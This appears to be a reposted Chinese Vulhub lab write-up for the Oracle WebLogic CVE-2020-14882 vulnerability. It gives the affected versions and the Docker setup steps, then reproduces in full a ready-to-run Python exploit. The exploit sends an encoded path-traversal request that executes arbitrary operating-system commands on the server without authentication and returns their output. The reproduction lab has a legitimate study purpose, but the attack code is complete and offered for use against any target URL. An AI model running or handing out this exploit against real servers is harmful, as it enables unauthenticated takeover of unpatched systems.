【Vulhub漏洞复现】Weblogic(CVE 您所在的位置:网站首页 weblogic未授权访问 【Vulhub漏洞复现】Weblogic(CVE

【Vulhub漏洞复现】Weblogic(CVE

#【Vulhub漏洞复现】Weblogic(CVE| 来源: 网络整理| 查看: 265

影响范围:

WebLogic:10.3.6.0.0、12.1.3.0.0、12.2.1.4.0、14.1.1.0.0

环境搭建:   

1.拉取docker:

cd /home/kali/桌面/vulhub/weblogic/CVE-2020-14882 sudo docker-compose up -d

2.查看docker端口映射信息

sudo docker ps

3.在浏览器中输入http://192.168.111.128:7001/console/login/LoginForm.jsp

漏洞复现:

Python代码:

#!/usr/bin/python3 # Exploit Title: Oracle WebLogic Server 10.3.6.0.0 / 12.1.3.0.0 / 12.2.1.3.0 / 12.2.1.4.0 / 14.1.1.0.0 - Unauthenticated RCE via GET request # Exploit Author: xingluo # CVE: CVE-2020-14882 import requests import sys import http.client http.client.HTTPConnection._http_vsn = 10 http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0' if len(sys.argv) != 3: print("[+] Usage : python3 exploit.py http(s)://target:7001 command") exit() target = sys.argv[1] command = sys.argv[2] request = requests.session() headers_cmd = { 'User-Agent': 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0', 'cmd': command, 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Content-Type': 'application/x-www-form-urlencoded' } cmd="""/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush();} currentThread.interrupt();') """ url_cmd = target+cmd response = request.get(url_cmd, headers=headers_cmd, verify=False) print(response.text) print("[+] Attack complete!")



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有